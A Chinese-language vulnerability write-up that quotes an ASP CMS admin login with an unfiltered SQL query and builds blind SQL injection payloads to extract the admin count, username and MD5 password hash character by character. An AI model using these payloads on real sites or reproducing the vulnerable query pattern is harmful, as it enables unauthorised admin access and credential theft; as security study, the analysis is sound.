<%
IF LePl<>"" then
Dim Author,Content,mycode
Author=Trim(Request.Form("Author"))// 简单的过滤空格
Content=Trim(Request.Form("Content")) //同上
mycode = trim(request.form("code"))
if Author="" or Content="" then
Call Alert ("请填写完整再提交","-1")
end if
if mycode<>Session("getcode") then
Call Alert ("您输入验证码错误","-1")
end if
set rs = server.CreateObject ("adodb.recordset")
sql="select * from zhi_rui_E_Pl"
rs.open sql,conn,1,3
rs.addnew
rs("cli")=Request.Form("cli")
rs("Ioid")=request.Form("Inid")
rs("Author")=Author
rs("Content")=Content
------------------------省略部分代码-------------------------------
%>
LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
mycode = trim(request.form("code"))
set rs = server.createobject("adodb.recordset")
‘ 很明显的注入漏洞,变量loginname没有经过过滤直接执行sql语句
‘注意loginname是用2个单引号括起来的.要注意前后闭合问题.
sql="select * from zhi_rui_E_manage where AdminName='"&LoginName&"'"
rs.open sql,conn,1,3
if rs.eof then
response.write "<script language=javascript> alert('管理员名称不正确,请重新输入。');location.replace('Admin_Login.asp');</script>"
response.end
else
AdminName=rs("AdminName")
Password=rs("Password")
AdminPurview=rs("AdminPurview")
Working=rs("Working")
UserName=rs("UserName")
end if
if LoginPassword<>Password then
response.write "<script language=javascript> alert('管理员密码不正确,请重新输入。');location.replace('Admin_Login.asp');</script>"
response.end
end if
sql="select * from zhi_rui_E_manage where AdminName='"&LoginName&"'"
变量名通过2个单引号包含,必须注意闭合,只要SQL成立就会正确注入,那么我们利用or注入就会想了如何才能同时满足这些条件?没错,让前面的为假,or后为真即我们的注入语句,最后一个or是一个闭合符号且为假,总体逻辑为
假 or 真 or 假 ->结果为真,提示密码错误
假 or 假 or 假 ->结果为假,提示用户名错误
ok原理思路明白了,可以构造出如下SQL语句.
(1) 1' or (select count(*) from zhi_rui_E_manage)>2 or '1'='2 (判断管理员是否大于2个)
(2) 1' or (select asc(mid(adminname,1,1)) from zhi_rui_E_manage where id=1)>96 or '1'='2(判断id=1的用户名的首个字母的ASCII码是否为a,依次换位判断就可以得到管理员用户名)
(3) 1' or (select asc(mid(password,1,1)) from zhi_rui_E_manage where id=1)>96 or '1'='1
(判断id=1管理员密码的MD5散列的首个字符的ASCII码是否大于96,同理依次判断可以得到32位MD5散列)